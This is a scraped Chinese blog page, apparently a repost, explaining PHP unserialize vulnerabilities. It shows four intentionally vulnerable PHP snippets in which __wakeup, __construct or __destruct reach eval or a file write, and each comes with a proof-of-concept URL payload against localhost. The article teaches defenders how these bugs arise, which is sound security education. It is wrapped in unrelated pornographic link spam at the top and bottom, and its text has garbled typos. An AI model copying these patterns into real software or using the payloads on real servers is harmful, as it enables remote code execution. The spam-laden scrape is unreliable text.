日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

C php反序列化,php反序列化漏洞 - anansec的个人空间 - OSCHINA - 中文开源技术交流社区...

發(fā)布時間:2025/3/8 php 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 C php反序列化,php反序列化漏洞 - anansec的个人空间 - OSCHINA - 中文开源技术交流社区... 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

反序列化本身是沒有漏洞的,但是當反序列化和一些魔術(shù)方法結(jié)合使用時就可能會產(chǎn)生安全風險。常用的魔術(shù)方法__wakeup

反序列化漏洞示例(__wekeup)

class A{var $test = "demo";function __wakeup(){eval($this->test);}}$b = new A();$c = serialize($b);$a = $_GET['test'];$a_unser = unserialize($a);#漏洞利用poc http://127.0.0.1:8999/test/unserialize1.php?test=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}

解釋:傳入的參數(shù)被反序列化,導致魔術(shù)方法__wakeup被自動調(diào)用,這時參數(shù)傳入的值將被作為eval的參數(shù)使用,所以這里會因反序列化導致任意代碼執(zhí)行。

反序列化漏洞(__wakeup和文件操作)

require "test.php";//測試方便class A{var $test = '123';function __wakeup(){$fp = fopen("test.php", "w");fwrite($fp, $this->test);fclose($fp);}}$a = new A();print_r(serialize($a));$class1 = $_GET['test'];$class1_unser = unserialize($class1);利用poc:http://127.0.0.1:8999/test/unserialize1.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

解釋:和上面一一樣,當傳入的參數(shù)被反序列化時,魔術(shù)方法__wakeup被調(diào)用,傳入的參數(shù)會作為fwrite的第二個參數(shù)直接寫入test.php文件中,從而導致反序列化漏洞

反序列化漏洞示例(__construct)

require 'test.php';class b{function __construct($test){$fp = fopen("test.php", 'w');fwrite($fp, $test);fclose($fp);}}class a{var $test = 123;function __wakeup(){$obj = new b($this->test);}}$class = $_GET['test'];$class_u = unserialize($class);利用poc:http://127.0.0.1:8999/test/unserialize1.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

解釋:unserialize()會自動調(diào)用__wakeup(),__wakeup中實力化a,這時會調(diào)用構(gòu)造函數(shù)__construct,因為構(gòu)造函數(shù)被調(diào)用,所傳入的參數(shù)會作為fwrite的參數(shù)寫入shell.php文件,從而造成代碼執(zhí)行

類的普通方法——反序列化問題

class maniac{public $test;function __construct(){$this->test = new x1();}function __destruct(){$this->test->action();}}class x1{function action(){echo "123";}}class x2{public $test2;function action(){eval($this->test2);}}$class2 = new maniac();unserialize($_GET['test']);漏洞利用poc:http://127.0.0.1:8999/test/unserialize1.php?test=O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}

解釋:maniac實例化,構(gòu)造方法(\_\_construct)被調(diào)用,x1被示例化;反序列執(zhí)行,析構(gòu)方法(\_\_destreuct)被調(diào)用;如果$\_GET沒有傳入合法的序列化字符串,就會自動調(diào)用x1的action方法,如果$\_GET接收到正確的序列化字符串,那么析構(gòu)方法就會調(diào)用x2的action方法,從而這里就有可能導致任意命令執(zhí)行

總結(jié)

以上是生活随笔為你收集整理的C php反序列化,php反序列化漏洞 - anansec的个人空间 - OSCHINA - 中文开源技术交流社区...的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 亚洲成人一区二区三区 | 牛牛影视免费观看 | 午夜宫 | 欧美色999 | 国产在线视频不卡 | 欧美日韩国产精品成人 | www夜插内射视频网站 | 免费的一级黄色片 | 国产日韩一级片 | 成人一区三区 | www色中色 | 日韩经典第一页 | 别揉我奶头啊嗯一区二区 | 女生脱裤子让男生捅 | 欧美xxxbbb | www.亚洲一区 | 欧美丰满熟妇bbb久久久 | 狠狠躁天天躁综合网 | 国产精品久久9 | 色妞网| 人人插人人看 | 四虎影院在线看 | 欧美呦交 | 韩日黄色片 | 久热这里只有 | 亚洲av综合永久无码精品天堂 | 91成人在线免费观看 | 国产精品久久一区二区三区动 | 人妻 丝袜美腿 中文字幕 | 日批视频免费在线观看 | 五月丁香 | 国产精品麻豆欧美日韩ww | 性调教学院高h学校 | 日本a级一区 | 亚洲网站在线免费观看 | 青青草亚洲 | 97在线观看 | 中文久久久久 | 欧美三日本三级少妇三级99观看视频 | 欧美色图亚洲自拍 | 岛国av动作片 | 福利视频在线看 | 午夜精品一区二区三 | 久久8| 亚洲第一av网 | 久久伊人久久 | 不卡一区二区三区四区 | 极品福利视频 | 天堂中文在线视频 | 欧美日韩中日 | 国产乱码一区二区三区播放 | 最新国产毛片 | 日本黄色精品 | 在线国产不卡 | www,日韩| 丝袜视频在线观看 | 热久久免费 | 清纯唯美亚洲综合 | 一本色道久久综合亚洲精品 | 午夜吃瓜 | 91久久精品国产91性色tv | 韩国视频一区二区三区 | 91丨porny丨首页| 久久久情 | 神马午夜国产 | 婷婷激情五月综合 | 无码一区二区三区在线观看 | 在线观看亚洲一区 | 毛片毛片毛片毛片毛片毛片毛片毛片毛片 | 亚洲中文字幕无码av | www.69av.com| 国产精品成人午夜视频 | 美女三级黄色片 | 国产无遮挡又黄又爽免费视频 | 91国偷自产中文字幕久久 | 日韩有码专区 | 欧美丰满熟妇bbbbbb百度 | 国产又大又黑又粗 | 免费三片在线观看网站v888 | 男人猛进女人爽的大叫 | 三级全黄做爰在线观看 | av手机在线 | 欧美激情视频一区二区三区在线播放 | 日韩欧美一二三四区 | 伊人365影院 | 成人国产精品一区二区 | 国产精品福利网站 | 中文字幕一区二区三区四区不卡 | 1区2区3区视频 | 欧美一区二区三区公司 | 欧美日韩国产大片 | 亚洲精品.www | 91成人黄色| 亚洲自拍第三页 | 亚洲天堂三级 | 台湾佬av| 91插插插永久免费 | 激情四射网| 欧美天天性影院 |